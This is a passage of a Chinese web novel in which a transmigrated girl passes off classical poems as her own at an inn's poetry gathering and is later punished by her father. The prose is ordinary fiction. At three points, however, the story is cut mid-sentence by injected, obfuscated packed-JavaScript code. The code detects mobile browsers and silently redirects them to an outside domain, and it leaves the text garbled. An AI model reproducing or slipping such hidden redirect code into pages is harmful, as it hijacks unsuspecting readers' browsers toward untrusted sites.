谢盈给照水使了个眼色,照水去找伙计,拿出自己定屋子的凭证,很快伙计就带她们去了二楼。如云客栈中间一个大厅,二楼房间不多,几间屋子都是围着大厅而建。 今日诗会,从楼上往下挂了好多条幅,写着往年第一名的诗句。除了她们,还有许多姑娘小姐进来,寻了个座位等着看诗会。 到了二楼,伙计带着几人停在一间屋子前,屋子门前挂着一牌匾,写着曲水二字。 进了屋子,谢盈在窗边坐下,让小二上了一壶毛尖,刚吩咐完,她看向在屋子里左看右看的谢宜,她道:“三妹妹还想吃些什么喝些什么,这虽是客栈,厨子手艺却也不错,不必客气,记我账上就行。” 谢宜也不客气,看完屋内摆设,她点了两样点心,她想看看这个时代的点心同她做的有什么差别。 渐渐的,下面人多了起来,人一多,楼下自然不比楼上舒服宽敞。 楼下人多是站着,而楼上有座椅有茶水点心,视野也开阔。谢宜坐到谢盈对面,心道,果然还是有银子好。 她看了谢盈一眼,原身的姐姐很是好看,衣服的纹样颜色她说不出来,但能看出衣料很好,绣娘绣工不错。而且衣领中间一对珍珠扣,谢盈一举一动都如仕女图般优雅。 可谢宜觉得这样的木头美人无趣极了,被世家大族的规矩束缚,如今算计她,日后嫁人算计自己的夫君和夫君的妾室,跟人争风吃醋,也很可怜就是了。 谢宜不再看谢盈,而是看向楼下,正巧客栈老板走上前去,她托着下巴,要开始了。 祝老板:“多谢诸位捧场!实在有幸,三年一度的诗会又在如云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478959|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客栈举行,马上就是秋闱,咱们诗会还是一如既往点到为止,以切磋为主。诗句好坏评判自在人心,莫要伤了和气。老夫不才,只能占个拟题的,也第一首,恰逢夏末,就以夏为题吧!” 老板话音刚落,就有人道:“绿柳罩浓荫,蝉鸣唤清凉。秋季别有日,仍闻落花香。” 且不说诗好不好,但的确快。 谢盈笑了笑,又有几位学生说了几首,气氛也越来越浓。 谢宜摇摇折扇,等老板问可还有人,她道:“水光潋滟晴方好,山色空濛雨亦奇。欲把西湖比西子,淡妆浓抹总相宜。” 她话音落下,客栈有一瞬间的空寂,紧接着有人带头鼓起掌来,“好!好诗!” 接着又以花为题,谢宜说:“杨花落尽子规啼,闻道龙标过五溪。我寄愁心与明月,随风直到夜郎西。” 而后是秋,谢宜说:“落霞与孤鹜齐飞,秋水共长天一色。” 一开始,也有学生作诗,可后面每道题目最后谢宜都会开口,便成了客栈老板问,谢宜作,其他人鼓掌喝彩,整个客栈真是好不热闹。 这句真是极好,好到让在场许多人汗毛竖起,耳边清明,这般景色直接浮于眼前。 谢宜笑了笑,她说得多,这会儿口有些渴。谢盈适时递了一杯茶水上来,谢宜接过,一口饮尽。 谢宜挑眉问:“二姐不来吗?” 谢盈摇了摇头,她还是不要自取其辱了,只要她不开口,也没法被比下去。她也释然了,在场这么多学生,无一不是苦读多年,竟也没一个比得上谢宜。她自己看看书,跟着先生学,不如也正常。 况且,徐子安还没来,她还是不凑热闹了。 人外有人,天外有天。 谢宜笑了笑,当掌柜的又说了一个题目,一楼众人都看向她,等着她来说。 她道:“怎么成了我一个人的诗会了,既是社会,诸位难道要偷懒?这我可不认。” 台下有人拱手道:“兄弟才华我等愧不敢当,今日闻公子作诗,实在是如闻仙乐,敢问公子尊姓大名,日后我等也能向公子讨教一二。” 旁边的人给了他一掌,“你这书呆子,耳朵聋了,眼睛也瞎了,你看她哪里像位公子,分明是女儿家。” “刚我看尚书府的马车了,车内小姐去了楼上,难不成这是谢家的姑娘?” “你一说我想起来了,传闻谢家二姑娘天资聪颖,若是她能做出这诗倒不稀奇,当真是担得起天资聪颖四个字。” 谢盈皱了皱眉,是谢宜作诗,怎么说到她身上了。 谢宜把折扇合上,知道被人看出也不恼,高声对着台下道:“我不是谢家的二姑娘,不过我姐姐的确比我聪慧,诗作的也比我好。” 谢宜对谢盈笑笑,“二姐姐,都来了诗会,难道光看着吗,岂不是白来一趟。” 谢盈看着谢宜,谢宜还在笑着。 下面众人已开始起哄,有年轻气盛的学生,也有出来凑热闹的闺阁小姐,亦有平民百姓,各个满怀期待。 连名不见经传的妹妹都这般有才华,那有聪慧名声的姐姐又该如何。 谢宜移开目光,笑了笑,就算谢盈再聪慧,能比得上李白吗。 不自量力。 谢盈低头一笑,“刚光顾着听,并未来得及想,妹妹所作诗句,的确是仙乐,可是我有一问。” “闻道龙标过五溪这句中的龙标和五溪是何意。” 5. 第五章 古怪 若是谢宜作自己的诗,谢盈不想理会。她还能管得住谁出头吗?偏偏谢宜想拉着她下水。 台下那么多人都比不过谢宜一人,难道谢宜真的认为自己于诗词一道上胜得过她。 谢盈见谢宜不说话,又道:“只两个词而已,妹妹一定不吝赐教。” 谢宜皱了皱眉,不明白谢盈为何问这个。 这首诗还是很早之前学的,可因太过朗朗上口,至今还记得。题目是《闻王昌龄左迁龙标遥有此寄》,可这个朝代的人并不知道王昌龄是谁,而诗中龙标是一处地名,指的是王昌龄,五溪也是地名。 原身是京城人,但都城名叫盛京,这两个地名越朝有吗。况且问她这是哪几个字,谢宜根本就不会写。 谢宜稳住心神,不在意道:“刚才做诗急,也未曾仔细思量,几个字而已,妹妹何必抓住不放。” 好,就当她抓住不放。 谢盈笑了笑又道:“那我还有一问,‘欲把西湖比西子’,西湖和西子是什么意思。若这个妹妹也答不上来,就请解答我最后一惑。‘落霞与孤鹜齐飞,秋水共长天一色’,我听着不像诗句,就算勉强算作诗句,可妹妹只说了半首,四言绝句还缺两言,我等尚未尽兴,不知妹妹可否现在给补上?” 还有,晴方好可不似夏日,夏日烈日炎炎,哪里晴方好了。不过实在勉强,也能说得通。 谢宜脸色不太好,后面这一句的确不是诗,是她读高中时学过的一篇文章,光这一句就已是千古绝唱。 刚才客栈老板让以秋为题,她脑子里立马就出现了这一句。一楼众人又忙着喝彩,只觉得这句不错,根本没人想这么多,谢宜也就把这事给忘了。 谢盈怎么这么较真,让她作诗,自己作不出推脱不说,又问起自己来了,她笑了笑,“那样好的诗句我想出前半首已是不易,后头的得容我再想想。既然妹妹未尽兴,不如我再作一首吧,刚才那首可以不作数,待到秋来九月八,我花开后百花杀。” 谢盈点了一下头,等着谢宜说后半句。梦中这首谢宜也说过,后面是,‘冲天香阵透长安,满城尽带黄金甲’。 谢宜继续道:“冲天香阵透京城,满城尽带黄金甲。” 谢宜说完,笑了笑道:“二姐姐,这下总行了吧,实在不行我再来一首。” 长安,京城,地名不通,平仄不通,这不会是谢宜那个世界的地名吧。 谢盈点了下头,“前半首平仄对仗极其工整,后半首虽差了些意思,但也不错。” 这回,一楼众人就不似刚刚那般叫好了,尤其听了谢盈的话,也都心存疑惑。 这诗是好诗,可诗中有些词句不通,谢宜并未解释,实在让人不明。一众才子,纷纷看着楼上,或面露疑惑,或与友人探讨。 谢盈没有再追问,点到为止,若是坏了谢宜的名声,那就是坏了尚书府的名声,尚书府名声有污,对她没好处不说,今儿一同出门,她这个做姐姐的也难辞其咎。 少不了被父亲问责,出门在外不护着自家妹妹,还跟别人一样起哄。 谢盈不问,却有人问,客栈门口,一穿着湖蓝长衫的读书人快步走进来,他面白如玉,温文尔雅,眼睛有些亮,带着读书人的执拗,“我来迟了,什么诗句。” 众人只听了一遍,哪儿能记下,就算记得,也不知其中一些字,只说是二楼一位姑娘作的。 那读书人抬头看向二楼,“可否姑娘写下来,让我拜读。” 谢宜或许不认识此人,但谢盈在梦里见过他,是徐子安,也是谢宜未来的夫婿。 众人随徐子安仰头看去,徐子安道:“实在不好意思,我来晚了,敢问姑娘作了什么诗,可否写下。” 谢宜看了眼徐子安,她不忍心拒绝,可她哪里认识这个时代的字,就算认得,也不会写,她道:“今日我手不舒服,改日吧,或是等我回去写好,再送过来。” 谢盈看了谢宜一眼,开口道:“不如三妹妹念,我来写。” 谢宜虽不怎么喜欢谢盈,但此时此刻,确实为她解围了,她说了声好,而后有伙计送来笔墨。 谢盈拿笔蘸墨,提笔先写了个杨字,谢宜却念:“水光潋滟晴方好。” 谢盈莞尔,“妹妹先说‘杨花落尽子规啼’那首吧,可有名字?” 谢宜:“……名字尚未想好。” 谢盈把这首诗写完,指着其中两字道:“这字可对?” 谢宜就看了一眼,胡乱点了点头,“没错。” 等谢宜看着二楼再念其他诗句时,谢盈在‘与’这字上加了短横,她指的是夜郎西三字,可前面“与”却故意少写一横,谢宜连这都没发现。 等几首诗写完,谢盈交给了谢宜,“三妹妹,写好了。” 谢宜看了两眼,有些字她认得,但很多她都不认得,若是想走这条路,还是得看书识字,可谁想吃读书的苦。 谢宜把纸卷好,让丫鬟送与刚说话的那位公子。 徐子安打开纸筒,如获至宝,上面的字不禁让人眼前一亮,周围也有人围了上来,想要瞻仰诗作。 徐子安忙把宣纸折起合上,有人问徐子安这是何意,他解释道:“诸位,这诗是尚书府姑娘所写,姑娘家的墨宝不该显于人前。还请等小生抄录完,再与诸位看。” 他说完,对着二楼曲水这间屋子的窗子点点头,却不敢直视。 众人点点头表示了解,贵女的墨宝、帕子、首饰和香囊都可算作定情之物,都不能乱放。 有人夸道:“徐兄高风亮节。” 徐子安:“不敢当,今日是我迟了,扰了诸位的雅兴。” 说完他又看了眼楼上,谢盈也看向谢宜。谢宜估计还在想刚才诗会上的事,并未注意到楼下徐子安的目光。 今日的诗会和谢盈梦中有些不同。 在梦中,徐子安虽迟了一会儿,却不是在诗会结束之后、众目睽睽之下进来的,而是中间赶来,也赶上了谢宜作诗,谢宜作一首,他也作一首。 二人谁也不服输,较着劲,引得众人喝彩哗然。 但今日却是谢宜作完诗徐子安才过来,想来是因为谢宜是跟她坐马车早来了一会儿的缘故,却也不影响两人相见。 二人的事与谢盈无关,她奇怪的是,除了那些地名人名,谢宜好像不太会写字。 刚刚谢宜推脱自己手不舒服,可是她能拿折扇,也能端茶杯吃点心,怎么可能独独拿不起笔。而且“与”字少了一横都没发现,“夜郎西”这三字也就只是轻飘飘看过,未曾细看。 或许是太急性子马虎没仔细看,又或许是与她的诗才相比,字的确拿不出手。 几个问题答不上来,字还不会写,这就是才女? 长安和京城,她觉得京城不如长安好,长安这二字很好听。 谢盈喝了口茶,茶水温了,她使了个眼色,照水立刻重新倒了一杯,她道:“三妹妹刚才作诗口渴了吧,可要再来一杯?” 谢宜摇摇头,有些不耐烦,“不必了,何时才能回去?只我作诗,别人光听,真是没意思透了。” 谢盈看了眼下面,道:“等楼下人散了吧,省着挤着。这诗会是有些没意思,倒不如备了笔墨,以一炷香时间为限,把诗写下,也省得费口舌。” 谢宜心里一紧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478960|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她刚说了自己手不舒服,谢盈就说要写诗,她什么意思。她直直朝谢盈看去,却见谢盈面上云淡风轻,还有几分无辜。 谢盈笑着问:“怎么了,我说得可是不对?” 谢宜摇摇头,“没,二姐说得不错。” 谢盈低头又喝了口茶,她的兄长谢霖如今在工部任职,她就听谢霖说过怎么盖房子,先要打地基,地基打牢了才能盖,否则地基不稳,大厦将倾。 就连孩童走路都是先爬再走,没见过直接跑的,倘若真的不会写不认得字,又谈何作诗呢。 诗会快要结束,下面人还没散。见一时半会儿散不了,谢盈让丫鬟去楼下问问,可否从客栈后门走。 等的这会儿功夫,她听下面人的议论刚才谢宜所作的诗。有人在问西湖和西子是什么意思,也有人说,作诗不过是灵光一现,为了平仄对仗也有凑字之说,何必追根究底地问。 谢宜在二楼听着,她刚才怎么没想到用这话反驳,这不就和以前做阅读理解一样吗,非要逐字逐句分析出个所以然来,可是作者根本没有这么想过。 她摇摇扇子,“就是啊,不过灵光一现,何必非要解释哪个字是什么意思。” 这话她是说给谢盈听的,谢盈也能听出来,她极为柔和地笑了下,缓缓说道:“三妹妹莫怪,文人都有一股子执拗劲儿,他们也是觉得三妹妹诗作太妙,恨不得吃透嚼烂,所以才有疑问。” 正巧照水回来,说后门能走,谢盈起身道:“时辰不早了,三妹妹可要同我一起回去?” 谢宜一想跟谢盈坐一辆车,就难受得慌,倒也不是别的难受,就是心里难受。谢盈说的一些话总是意有所指,好像专门说给她听的,可看过去,谢盈又是一脸云淡风轻。 这不是绿茶是什么? 她摇了摇头,“我还想待会儿,就不了。” 谢盈道:“早些回去,莫要让家里担心。” 她带着丫鬟下楼,徐子安挤过人群跑了过来,“姑娘,这些诗我今天下午就能抄完,到时便将这份还给姑娘,敢问姑娘家住何处?” 谢盈站在台阶上,低头看着徐子安,“你到了谢府找人通禀,我会让丫鬟来取。” 说完,谢盈便觉得不妥。 徐子安过一些日子就秋闱,功课耽误不得,她可不想因为自己做了什么事,毁了别人仕途。况且,她不想和谢宜的未来夫婿有过多牵扯。 总共那么几首诗,难道还没背下来? 谢盈问道:“那些诗公子看了,可记得?” 徐子安脑子好使,可以称得上过目不忘,他点了点头,“记得。” 谢盈:“既然背下了,那就公子回去默吧。照水。” 照水赶紧把诗取了回来,谢盈点了点头,转身离开。 人一走,众人又围住徐子安问刚才谢宜所做的诗中,有几个没听清的字都是什么?徐子安一一写了出来,众人又问是什么意思,徐子安摇了摇头,“这我也不知。” 初读是好,可再看却有些奇怪。 就像“杨花落尽子规啼”那首,读起来好像是写给某人的,而在诗会上,能写给谁呢。 而且作诗也讲意境,在客栈里为何能写山写水,这会儿还是上午,为何能作落霞孤鹜之景,现又不是杨花落尽的时节,说到花,夏日那么多花,尤以荷花为盛,竟然能想到杨花。 杨花新奇,却不合适。 徐子安有些不解,却也没多说什么。 徐子安把谢宜作的诗都默了下来,给众人传诵。谢家二姑娘的字很好,让人佩服。今日他唐突了,明明有更好的法子,却没想到,还望谢二姑娘莫怪。 6. 第六章 谢宜受罚 而另一边谢盈已经上了马车,她吩咐车夫直接回尚书府。 出门一趟,脑子就没停下来过,实在是累极了。谢盈打算先回府,吃过中午饭后睡一会儿再看书。 正想着,马车慢了下来,照水掀开车帘往外看了看,今日人多,马车也多。乡试在各省城,京城自然也算,近日多了不少外城人。 谢盈也顺着窗缝偏过去,这条街很热闹,多是三教九流的场所,什么都有,像什么花楼赌坊,有好几个。 花楼进进出出的都是男子,还有女子衣着清凉摇着帕子招客,赌坊门口男女都有,马上就秋闱了,老板做庄,赌谁会是今年京城的解元。 京城周边县城众多,每个州城都有案首,但乡试的解元只有一个,百姓们还是想凑个热闹猜一猜的。 别人不知道今年京城的解元是谁,但谢盈知道。 想想梦中自己十几年后穷困潦倒,连身像样的衣裳都拿不出来,倒不如现在多攒一些银子。谢盈虽不打算再嫁给陆铮,却不认为梦中自己落到那样境地全是因为陆铮,也不觉得自己离开陆铮嫁给别人就能避开那样的结局。 靠男人倒不如多攒些钱,留着以后应急。 谢盈让车夫停下,问照水,“今儿带了多少银子出来?” 有沈氏,谢盈就没缺过银子,首饰铺子点心铺子常去,若是遇见喜欢的东西直接就买下。 照水翻开荷包数了数,说道:“奴婢带了一百五十两,刚才在客栈订屋子吃茶用了五两,还有一百四十五两。” 谢盈点了点头,“你一会儿去赌坊,看看今年都赌谁是解元,都押一些,然后在徐子安身上押八十两。” 纵然徐子安功课好,也不能全押他,不然赢得太多,没准儿这钱拿不回来。其他的也投投,更稳妥些。 而且梦中许多事发生了改变,谢盈也说不准徐子安日后还是不是解元。若不是,她不还押了别人吗。 照水点点头,“奴婢这就去。” 谢盈安心在外面等着,心里也在反省,自己或许不该铺张奢靡,不然日子不会那么穷困潦倒的。梦中谢宜会管家理账,能开铺子,十几年后,她经营的生意也取代了沈家。 而沈氏贴补给她的几间嫁妆铺子……到最后全都赔了,便有人说,明明她是谢家和沈家的女儿,可却是谢宜,既有谢昌韫的才思,又有沈家做生意的头脑。 这个她不打算和谢宜比,沈氏给她的人很稳妥,不如让那些人把嫁妆铺子管好,省着自己乱来。 很快照水就回来了,谢盈问:“可办妥了?” 照水点点头,“姑娘放心,除了徐公子,奴婢打听着押一个叫林睿之的书生的人更多些,说是随州案首,还有京城的几位公子,奴婢就是照着这几人押的。” 谢盈点了点头,若是他们名次高,那也能多拿些银子,“走吧,回府。” 马车往尚书府驶去,从街头往朱雀路拐时,有人高喝避让。车夫驾着马往旁边避让,这条街中间留出了一条可供马车通过的路。 照水掀开帘子往外看去,一少年骑马过街,他身着墨衣,腰间束着玉带,还配了柄长刀。头发梳成了一个马尾,□□白马竟无一根杂毛。后面还跟着几人,身下俱是高头大马。马骑得太快,照水也只看见那公子眉凝着,鼻梁过分挺拔,衣袍被风吹得向后飘。。 谢盈只扫了一眼,便叫她心里一紧。 照水把帘子放下,自说自话,“这大人是谁呀,可真威风。” 是陆铮。 谢盈在心里回答,她反反复复做那些梦,陆铮这人怎么会忘记。他是勇国公府世子,年少时母亲过世父亲续娶,勇国公让他喊继母母亲,他不愿,被押到祠堂下跪,甚至被打断骨头,也咬牙强撑。 后来伤都没好他就进了军营,再回国公府时已有一身战功,到如今也没喊过他继母一声母亲。 谢盈没说话,照水也没指望自家姑娘回答,把帘子放下就安稳坐在马车门口守着。 马车慢慢驶着,都快到尚书府了,照水听自家姑娘问:“照水你说……若是你往前走时,看见前面有棵树,你是会直着走过去还是绕路?” “姑娘,当然是绕路呀,直着过去岂不是撞上了!” 谢盈牵着嘴角笑了下,“是呀。到了,下车吧。” 回到尚书府,谢盈先去正院和沈氏说了一声,沈氏还打趣,“京城那么多学子,就没有心仪的。” 谢盈伏在沈氏的腿上,“女儿还小,想多留在母亲身边些时日呢,母亲莫要急着把我嫁出去。” 沈氏摸着女儿的脑袋,“若能赶得走自然好,就怕赶不走。今儿中午在正院吃吧,小厨房做了你爱吃的菜,有葱醋鸡,蜜汁火方,你看看还想吃什么,再让小厨房做。” 谢盈道:“苏合山,今儿出门一趟热,吃些凉快的。” 沈氏道:“你就贪凉,嬷嬷,让小厨房再给二姑娘做一份苏合山。” 在沈氏身边是谢盈觉得最惬意的时光,吃过午饭,她回照影楼,直接去了三楼书房。 照水去沏茶端点心,谢盈喝了口茶水,便让照水下去,不必在这儿伺候。 照水没走,从袖口掏出一纸筒,问道:“姑娘,那位公子还回的诗作该怎么办?” 谢盈抬眸看了一眼,“给我吧。” 她依然觉得谢宜古怪,却又想不明白这古怪在哪儿,难道其他人听了这些诗就只觉得诗好吗? 谢盈摇了摇头,把自己在梦中梦见、然后写下的那些诗,连着今儿的一起烧了个干净。 早晚都会弄清楚的,但留在她这儿不好。 谢盈看了一下午的书,等到傍晚天色也暗了,她就在照影楼让小厨房简单做了些。吃过饭后去了琴房,这两日没碰琴,手都有些生了。 刚弹了半首,正院沈氏身边的李嬷嬷就过来,“二姑娘不好了,三姑娘这会儿还没回来,老爷请你过去。” 谢宜还没回来? 二人上午在客栈分开后,谢盈直接回了尚书府,这都什么时辰了,天都黑了。她一个姑娘家在外,别是遇见什么危险。 谢盈放下琴,匆匆去了正院。谢昌韫这会儿已经下职了,身上还穿着绯色官袍,乌纱帽都没摘下。 谢盈先行了个礼,“见过父亲,见过母亲。” 谢昌韫不耐地挥了挥手,谢盈起身,看了眼沈氏,沈氏脸上透着几分疑惑,谢盈开口道:“李嬷嬷说三妹妹还没回来?” 谢昌韫道:“嗯,溶月轩的丫鬟说她早上是和你一起出门的。” 谢盈道:“是,今日如云客栈举办诗会,我和三妹妹一同过去的,诗会中午前结束的,我问三妹可要一同回来,三妹说还想待会儿,我就先回了。” 谢盈也没多说什么,更没有添油加醋。 谢昌韫神色微恼,他道:“一个姑娘家,都什么时辰了,还不回来!” 谢盈道:“父亲可派人去找了?” 沈氏:“刚已让下人丫鬟去寻,兴许一会儿回来了,老爷也别太过担心。” 谢盈点点头,既然已经派人去找了,那就在家等消息,就是不知父亲为何发现谢宜不在。 说来也巧,谢昌韫知道完全是因为今儿诗会,府里二小姐作诗,众人传诵,虽然不少人有疑惑,可诗确实是好诗。就有人谄媚,说谢父教女有方。 谢昌韫过去的数年一直忽视这个女儿,没想到谢宜竟然还有这样的才华。 他回府就去溶月轩了,谁知谢宜不在,问丫鬟才知,她上午就和谢盈出门了,到现在还没回来。 谢昌韫在正院屋里绕了两圈,心神越发不宁,道:“我去门口看看。” 谢昌韫都去了,沈氏和谢盈也不能留在屋子里,只能跟着过去。 尚书府的门口挂着灯笼,有小厮和护卫守着,还有不少人出去寻人了。 晚间风凉,谢盈给沈氏拿了件披风,自己站在谢昌韫身后。随着天色越来越暗,谢昌韫的脸色也越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478961|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越阴沉,没有哪个府上的姑娘这么晚还不回来,都不能说是贪玩,简直是不守规矩。 谢盈不时往路口张望,她记得从前谢宜一大门不出,二门不迈,落水之后性子变了,爱出门爱说话,几乎是日日出去。 不过她还真的未曾关心过谢宜何时回来。 这样等了一会儿,谢盈看几人往尚书府这边走,她道:“父亲母亲,好像是三妹妹。” 谢昌韫和沈氏看过去,谢宜身边除了丫鬟还有一人,细看是名男子。谢昌韫皱着眉,“那是谁?” 谢盈认出来了,是上午见过的徐子安。 徐子安离谢宜有些远,大约是顾及谢宜的名声。 谢宜没瞧见谢昌韫等人,还偏过头和徐子安道谢:“今日多谢徐公子,不然我还真不知道该怎么办了。” 徐子安低着头道:“举手之劳无足挂齿,姑娘也到家了,请回吧。” 说话间徐子安抬头往前看,见谢家门庭前站着一排人,前面衣着华丽,后面的应该是小厮和侍女。谢宜也看见了,她心有些慌,往日出门回来晚她都走侧门,今儿怎么都在大门等着她,是谢盈告的密? 门口有谢昌韫和沈氏在,徐子安这会儿走也不合适,只能上前去解释一番。 “学生见过谢大人、伯母,见过二小姐。”他抬头看了谢盈一眼,谢盈站在沈氏身边,穿的也不是白日那身衣裳。 徐子安心一跳,赶紧把目光收回来,继续解释道:“傍晚的时候,学生路过城南一巷子,见谢姑娘被人围着,便上前帮了忙,又把谢姑娘送了回来。” 谢昌韫沉着眸子看了谢宜一眼,转而笑着和徐子安道谢,“今日有劳了,天色已晚不便请公子进府喝茶,改日再登门拜谢。” 徐子安点点头,看他要走,谢盈对沈氏道:“母亲,天色已晚,让车夫送这位公子回去吧,可有伤,再请去医馆看看。” 谢盈不吝啬与人为善,而且她还押了银子,徐子安可别耽误功课。 沈氏点了点头,又跟徐子安道了一遍谢。 谢宜冲着徐子安笑了笑,却发现徐子安看着谢盈的方向,谢宜抿直唇,刚想跟过去问问谢盈是不是她说了什么,谢昌韫就拂袖进府,还撂下一句,“谢宜,你跟我进来。” 谢宜的丫鬟也想跟着进去,被沈氏一个眼神吓得立在原地,不敢动了。 谢盈怕谢父在气头上出事,赶忙跟了上去。 到了正院,谢昌韫指着谢宜的鼻子道:“你一个姑娘家,这么晚回来,还读书作诗,书都读到狗肚子里去了?” 谢宜心道,谢昌韫这几年都没管过原身,都快忘了还有这么个女儿,如今却把自己摆在父亲的位置上,自己女儿出门差点出事,一句关心都没有,只会指责女儿这么晚回来? 有坏人难道还成她的错了,什么受害者有罪论,分明是因为京城护卫不严! 谢宜刚要反驳,谢昌韫就道:“今天晚上你就跪在祠堂好好反省。” 谢盈看了谢宜一眼,“父亲,三妹妹刚回来,今日也受了惊吓……” 谢昌韫正在气头上,对谢盈也没有好脸色,转头训道:“你是做姐姐的,都不知道看着点你妹妹,她不懂事你也不懂事吗,给我回去好好反省。” 谢盈低下头,柔声道:“是,都是我的错,没看好三妹妹。” 谢昌韫看了谢盈一眼,再看谢宜更气了,直接拂袖离去。 谢盈打算回照影楼,可刚迈过门槛,谢宜喊了她一声,“谢盈。” 谢盈回过头看去,屋里点着灯,可依旧比不上白日亮堂,窗外很暗,谢宜直直地看着她,目光并不友善。 看她有话说,谢盈收回脚,静静等着谢宜说话。 谢宜道:“谢盈,你知不知道,女子这一生其实可以不用困在后院,也能做很多事,在很多地方都能有自己的建树,甚至比得过男子。你说,只会在后宅算计别人,年少时争父亲宠爱,嫁人了争夫君宠爱,是不是很可悲?” 7. 第七章 学管家 今儿是谢盈和谢昌韫告的状吧,还当面为她求情,哪里是求情,刚才谢昌韫正在气头上,谢盈又故意提起她晚归,分明是添油加醋、火上浇油。 她怎么就没发现这个姐姐这么有心机呢?自己不过是在诗会上出了头,这个姐姐就这么看不惯她。 谢盈才多大,十四岁,放以前还上初中呢,就知道暗自挑拨了。就她长袖善舞,就她八面玲珑,就她会做人,不仅绿茶还恶心人。不过也可悲,一辈子只围着男人转,陷于这封建礼教中。 谢盈皱着眉,美目中流露出一丝疑惑,“三妹妹说这些是什么意思?” 她面上疑惑,却不是第一次听这些话,梦里谢宜也说过这些。 劝她目光放长远一些,劝她不要比较,劝她多看看宅子外面,劝她不要总闷在家里,劝她不要总是围着夫君和孩子转。 可梦中谢盈的生活一团糟,什么都不顺,忙着为陆铮奔走,刚被赶出勇国公府孩子还病了,她只觉得这些话太过冠冕堂皇,不是谁都能像谢宜那么自在,那么顺心如意。 但谢宜这话,她不认。什么叫有所建树,能比得过男子,真是站着说话不腰疼。 谢宜道:“我什么意思你心里应当清楚。” 有什么好装的。 谢盈说道:“三妹妹这话说得不错,不过你想比得过男子,那也得把身边的事处理妥当了再去比,不然就只会给身边人添乱。” 谢宜哑然失笑,谢盈可真会找借口,她添什么乱了? 谢盈:“父亲下职之后直接去溶月轩看你,而你天黑未归,父亲连饭都没吃一直担忧着等你回来。母亲安排丫鬟小厮去寻你,如今你回来了,还有许多人在外找你,这会儿本是换职吃饭的时辰。 我本来好端端地在照影楼抚琴,却被李嬷嬷叫了过来问你的事,又是寻你,又是去门口等着,耽误半个多时辰不说,还无端受了责罚。更有你院中的丫鬟,留下的不知你去了哪儿,同你出门未曾劝你回来,今日免不了受责罚。若今日你真出了事,她们都会因你被发卖。” 谢宜张了张嘴,她没想过会这样。 谢盈看了谢宜一眼,又移开目光,“还有路见不平、帮了你的那位公子,他是考生吧,马上秋闱,城南离这儿多远你不知道吗,却还护送你回来耽误温书。 你一人晚归,闹得全家鸡飞狗跳。还有,我虽只比你大几个月,却也是你姐姐,谁教你的规矩,让你直呼我的名字。” 谢宜还穿着男装,她头扬着,眼神锐利,这样的装扮气质,与她屋内的太师椅、青瓷箸瓶、花鸟折枝屏风格格不入。 谢盈没等谢宜说话,直接回了照影楼。既然也让她反省,她就反省呗,左右不过是在照影楼里看书抚琴,和平日也没什么差别。 只不过照水看不惯,义愤填膺地为谢盈抱不平,“老爷也真是的,明明是三姑娘贪玩回来晚,还要连累姑娘受罚。” 谢盈警告地看了照水一眼,道:“她是主子,你是下人,谁教你议论主子的,管好自己的嘴,还有院子里的人,不许乱嚼舌根。” 照水低下头,应了声是。 谢盈看她低眉顺眼的,心里又一软,“时辰不早了,今儿不该你值夜,早些回去休息吧。” 除了守夜的侍女,其余下人都住在下人房。照影楼四个丫鬟,守夜是轮着的。 照水退了出去,从照影楼出来,她闻见悠扬的琴声,细听还透着几丝哀愁,从楼中传到湘水亭,渐渐隐没在湖水中。 谢盈到半夜才睡,次日醒来天已大亮。丫鬟早已备好水伺候她起床梳洗,照云给她梳头时说道:“听说三姑娘昨儿在祠堂跪着跪着就晕了过去,老爷便上她回了溶月轩,在院子里反省。” 谢盈点了点头,当时父亲在气头上,偏偏谢宜还一副自己有理的样子,自然生气,可毕竟是父女,难不成真让她跪到天亮,真跪一晚上,腿还要不要了。 小惩大戒罢了。 谢盈道:“这几日就不必盯着了。” 她让丫鬟盯着溶月轩,是想知道谢宜到底是在院中看书,还是出门游玩。眼下她被禁足,自然不需要盯着了。 她对着镜子梳妆打扮好,用过早饭后就去了二楼看琴谱,一上午都没闲着。 * 溶月轩。 谢宜半夜才回来,直接睡到日上三竿,被禁足反省不能出门,自然不用去请安了,也省了事儿。 得亏她装晕,不然真得跪一晚上,她又不傻,还能真跪着。 就是她的几个丫鬟,跟她出门的那个叫如月,被打了十个板子,还被调到花房去了,溶月轩又新来了一个丫鬟,叫如青,不用想也知道是沈氏的人。 在院子里守着的三个丫鬟,一人罚了五个板子,不仅如此,还扣了三个月月钱。 主子犯错,最多罚跪面壁,但会罚下人,那就严厉多了。 谢宜心里愧疚,可又觉得谢昌韫和沈氏实在小题大作,万恶的封建社会不把下人当人。 